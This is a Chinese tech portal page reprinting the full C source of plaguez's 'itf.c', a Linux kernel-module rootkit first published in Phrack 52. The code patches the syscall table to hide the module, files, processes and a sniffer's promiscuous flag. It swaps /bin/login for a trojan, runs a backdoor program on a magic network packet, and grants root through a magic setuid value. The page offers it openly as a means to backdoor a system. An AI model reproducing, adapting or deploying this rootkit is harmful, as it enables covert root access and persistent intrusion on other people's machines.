china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


附录(源码)


LKM Hider / Socket Backdoor

NAME : itf.c

AUTHOR : plaguez

DESCRIPTION : This very good LKM was published in phrack 52 (article 18 : 'Weakening the Linux Kernel'). I often refered to it although some ideas in it were also taken from other LKMs / texts which were published before. This module has everything you need to backdoor a system in a very effective way. Look at the text supplied with it for all of its features.

LINK : http://www.phrack.com



Here is itf.c. The goal of this program is to demonstrate kernel backdooring

techniques using systemcall redirection. Once installed, it is very hard to

spot.

Its features include:



- stealth functions: once insmod'ed, itf will modify struct module *mp and

get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.

Also, the module cannot be unloaded.



- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be

hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,

because itf will trap a change in the PROMISC flag and will then stop hidding

it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot

the module...).



- file hidder: itf will also patch the getdents(2) system calls, thus hidding

files containing a certain word in their filename.



- process hidder: using the same technique as described above, itf will hide

/procs/P螪 directories using argv entries. Any process named with the magic

name will be hidden from the procfs tree.



- execve redirection: this implements Halflife's idea discussed in P51.

If a given program (notably /bin/login) is execve'd, itf will execve

another program instead. It uses tricks to overcome Linux memory managment

limitations: brk(2) is used to increase the calling program's data segment

size, thus allowing us to allocate user memory while in kernel mode (remember

that most system calls wait for arguments in user memory, not kernel mem).



- socket recvfrom() backdoor: when a packet matching a given size and a given

string is received, a non-interactive program will be executed. Typicall use

is a shell script (which will be hidden using the magic name) that opens

another port and waits there for shell commands.



- setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid ==

magic number is done, the calling process will get uid = euid = gid = 0





<++> lkm_trojan.c

/*

* itf.c v0.8

* Linux Integrated Trojan Facility

* (c) plaguez 1997 -- dube0866@eurobretagne.fr

* This is mostly not fully tested code. Use at your own risks.

*

*

* compile with:

* gcc -c -O3 -fomit-frame-pointer itf.c

* Then:

* insmod itf

*

*

* Thanks to Halflife and Solar Designer for their help/ideas.

*

* Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.

*

*

*/



#define MODULE

#define __KERNEL__





#include <linux/config.h>

#include <linux/module.h>

#include <linux/version.h>



#include <linux/types.h>

#include <linux/fs.h>

#include <linux/mm.h>

#include <linux/errno.h>

#include <asm/segment.h>

#include <asm/pgtable.h>

#include <sys/syscall.h>

#include <linux/dirent.h>

#include <asm/unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/socketcall.h>

#include <linux/netdevice.h>

#include <linux/if.h>

#include <linux/if_arp.h>

#include <linux/if_ether.h>

#include <linux/proc_fs.h>

#include <stdio.h>

#include <errno.h>

#include <fcntl.h>

#include <ctype.h>





/* Customization section

* - RECVEXEC is the full pathname of the program to be launched when a packet

* of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().

* This program can be a shell script, but must be able to handle null **argv (I'm too lazy

* to write more than execve(RECVEXEC,NULL,NULL); :)

* - NEWEXEC is the name of the program that is executed instead of OLDEXEC

* when an execve() syscall occurs.

* - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)

* is made (like Halflife's code)

* - files containing MAGICNAME in their full pathname will be invisible to

* a getdents() system call.

* - processes containing MAGICNAME in their process name will be hidden of the

* procfs tree.

*/

#define MAGICNAME "w00w00T$!"

#define MAGICUID 31337

#define OLDEXEC "/bin/login"

#define NEWEXEC "/.w00w00T$!/w00w00T$!login"

#define RECVEXEC "/.w00w00T$!/w00w00T$!recv"

#define MAGICSIZE sizeof(MAGICNAME)+10



/* old system calls vectors */

int (*o_getdents) (uint, struct dirent *, uint);

ssize_t(*o_readdir) (int, void *, size_t);

int (*o_setuid) (uid_t);

int (*o_execve) (const char *, const char *[], const char *[]);

int (*o_ioctl) (int, int, unsigned long);

int (*o_get_kernel_syms) (struct kernel_sym *);

ssize_t(*o_read) (int, void *, size_t);

int (*o_socketcall) (int, unsigned long *);

/* entry points to brk() and fork() syscall. */

static inline _syscall1(int, brk, void *, end_data_segment);

static inline _syscall0(int, fork);

static inline _syscall1(void, exit, int, status);



extern void *sys_call_table[];

extern struct proto tcp_prot;

int errno;



char mtroj[] = MAGICNAME;

int __NR_myexecve;

int promisc;







/*

* String-oriented functions

* (from user-space to kernel-space or invert)

*/



char *strncpy_fromfs(char *dest, const char *src, int n)

{

  char *tmp = src;

  int compt = 0;



  do {

dest[compt++] = __get_user(tmp++, 1);

  }

  while ((dest[compt - 1] != '\0') && (compt != n));



  return dest;

}





int myatoi(char *str)

{

  int res = 0;

  int mul = 1;

  char *ptr;



  for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

if (*ptr < '0' || *ptr > '9')

  return (-1);

res += (*ptr - '0') * mul;

mul *= 10;

  }

  return (res);

}


/*

* process hiding functions

*/

struct task_struct *get_task(pid_t pid)

{

  struct task_struct *p = current;

  do {

if (p->pid == pid)

  return p;

p = p->next_task;

  }

  while (p != current);

  return NULL;

}



/* the following function comes from fs/proc/array.c */

static inline char *task_name(struct task_struct *p, char *buf)

{

  int i;

  char *name;



  name = p->comm;

  i = sizeof(p->comm);

  do {

unsigned char c = *name;

name++;

i--;

*buf = c;

if (!c)

  break;

if (c == '\\') {

  buf[1] = c;

  buf += 2;

  continue;

}

if (c == '\n') {

  buf[0] = '\\';

  buf[1] = 'n';

  buf += 2;

  continue;

}

buf++;

  }

  while (i);

  *buf = '\n';

  return buf + 1;

}







int invisible(pid_t pid)

{

  struct task_struct *task = get_task(pid);

  char *buffer;

  if (task) {

buffer = kmalloc(200, GFP_KERNEL);

memset(buffer, 0, 200);

task_name(task, buffer);

if (strstr(buffer, (char *) &mtroj)) {

  kfree(buffer);

  return 1;

}

  }

  return 0;

}


/*

* New system calls

*/



/*

* hide module symbols

*/

int n_get_kernel_syms(struct kernel_sym *table)

{

  struct kernel_sym *tb;

  int compt, compt2, compt3, i, done;



  compt = (*o_get_kernel_syms) (table);

  if (table != NULL) {

tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);

if (tb == 0) {

  return compt;

}

compt2 = 0;

done = 0;

i = 0;

memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));

while (!done) {

  if ((tb[compt2].name)[0] == '#')

i = compt2;

  if (!strcmp(tb[compt2].name, mtroj)) {

for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);

if (compt3 != (compt - 1))

  memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));

else

  compt = i;

done++;

  }

  compt2++;

  if (compt2 == compt)

done++;



}



memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));

kfree(tb);

  }

  return compt;



}



/*

* how it works:

* I need to allocate user memory. To do that, I'll do exactly as malloc() does

* it (changing the break value).

*/

int my_execve(const char *filename, const char *argv[], const char *envp[])

{

  long __res;

  __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));

  return (int) __res;

}



int n_execve(const char *filename, const char *argv[], const char *envp[])

{

  char *test;

  int ret, tmp;

  char *truc = OLDEXEC;

  char *nouveau = NEWEXEC;

  unsigned long mmm;



  test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);

  (void) strncpy_fromfs(test, filename, strlen(truc));

  test[strlen(truc)] = '\0';

  if (!strcmp(test, truc)) {

kfree(test);

mmm = current->mm->brk;

ret = brk((void *) (mmm + 256));

if (ret < 0)

  return ret;

memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

ret = my_execve((char *) (mmm + 2), argv, envp);

tmp = brk((void *) mmm);

  } else {

kfree(test);

ret = my_execve(filename, argv, envp);

  }

  return ret;



}


/*

* Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.

* If we reset the PROMISC flag when the trojan is already running, then it

* won't hide it anymore (needed otherwise you'd just have to do an

* "ifconfig eth0 +promisc" to find the trojan).

*/

int n_ioctl(int d, int request, unsigned long arg)

{

  int tmp;

  struct ifreq ifr;



  tmp = (*o_ioctl) (d, request, arg);

  if (request == SIOCGIFFLAGS && !promisc) {

memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));

ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);

memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));

  } else if (request == SIOCSIFFLAGS) {

memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));

if (ifr.ifr_flags & IFF_PROMISC)

  promisc = 1;

else if (!(ifr.ifr_flags & IFF_PROMISC))

  promisc = 0;

  }

  return tmp;



}


/*

* trojan setMAGICUID() system call.

*/

int n_setuid(uid_t uid)

{

  int tmp;



  if (uid == MAGICUID) {

current->uid = 0;

current->euid = 0;

current->gid = 0;

current->egid = 0;

return 0;

  }

  tmp = (*o_setuid) (uid);

  return tmp;

}


/*

* trojan getdents() system call.

*/

int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

  unsigned int tmp, n;

  int t, proc = 0;

  struct inode *dinode;

  struct dirent *dirp2, *dirp3;



  tmp = (*o_getdents) (fd, dirp, count);



#ifdef __LINUX_DCACHE_H

  dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

  dinode = current->files->fd[fd]->f_inode;

#endif



  if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)

proc = 1;

  if (tmp > 0) {

dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);

memcpy_fromfs(dirp2, dirp, tmp);

dirp3 = dirp2;

t = tmp;

while (t > 0) {

  n = dirp3->d_reclen;

  t -= n;

  if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \

||(proc && invisible(myatoi(dirp3->d_name)))) {

if (t != 0)

  memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);

else

  dirp3->d_off = 1024;

tmp -= n;

  }

  if (dirp3->d_reclen == 0) {

/*

* workaround for some shitty fs drivers that do not properly

* feature the getdents syscall.

*/

tmp -= t;

t = 0;

  }

  if (t != 0)

dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);





}

memcpy_tofs(dirp, dirp2, tmp);

kfree(dirp2);

  }

  return tmp;



}





/*

* Trojan socketcall system call

* executes a given binary when a packet containing the magic word is received.

* WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.

*/



int n_socketcall(int call, unsigned long *args)

{

  int ret, ret2, compt;

  char *t = RECVEXEC;

  unsigned long *sargs = args;

  unsigned long a0, a1, mmm;

  void *buf;



  ret = (*o_socketcall) (call, args);

  if (ret == MAGICSIZE && call == SYS_RECVFROM) {

a0 = get_user(sargs);

a1 = get_user(sargs + 1);

buf = kmalloc(ret, GFP_KERNEL);

memcpy_fromfs(buf, (void *) a1, ret);

for (compt = 0; compt < ret; compt++)

  if (((char *) (buf))[compt] == 0)

((char *) (buf))[compt] = 1;

if (strstr(buf, mtroj)) {

  kfree(buf);

  ret2 = fork();

  if (ret2 == 0) {

mmm = current->mm->brk;

ret2 = brk((void *) (mmm + 256));

memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

/* Hope the execve has been successfull otherwise you'll have 2 copies of the

master process in the ps list :] */

ret2 = my_execve((char *) mmm + 2, NULL, NULL);

  }

}

  }

  return ret;

}




/*

* module initialization stuff.

*/

int init_module(void)

{

/* module list cleaning */

/* would need to make a clean search of the right register

* in the function prologue, since gcc may not always put

* struct module *mp in %ebx

*

* Try %ebx, %edi, %ebp, well, every register actually :)

*/

  register struct module *mp asm("%ebx");

  *(char *) (mp->name) = 0;

  mp->size = 0;

  mp->ref = 0;

/*

* Make it unremovable

*/

/*  MOD_INC_USE_COUNT;

*/

  o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];

  sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;



  o_getdents = sys_call_table[SYS_getdents];

  sys_call_table[SYS_getdents] = (void *) n_getdents;



  o_setuid = sys_call_table[SYS_setuid];

  sys_call_table[SYS_setuid] = (void *) n_setuid;



  __NR_myexecve = 164;

  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

__NR_myexecve--;

  o_execve = sys_call_table[SYS_execve];

  if (__NR_myexecve != 0) {

sys_call_table[__NR_myexecve] = o_execve;

sys_call_table[SYS_execve] = (void *) n_execve;

  }

  promisc = 0;

  o_ioctl = sys_call_table[SYS_ioctl];

  sys_call_table[SYS_ioctl] = (void *) n_ioctl;



  o_socketcall = sys_call_table[SYS_socketcall];

  sys_call_table[SYS_socketcall] = (void *) n_socketcall;

  return 0;



}





void cleanup_module(void)

{

  sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;

  sys_call_table[SYS_getdents] = o_getdents;

  sys_call_table[SYS_setuid] = o_setuid;

  sys_call_table[SYS_socketcall] = o_socketcall;



  if (__NR_myexecve != 0)

sys_call_table[__NR_myexecve] = 0;

  sys_call_table[SYS_execve] = o_execve;



  sys_call_table[SYS_ioctl] = o_ioctl;

}

<-->



----[ EOF

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网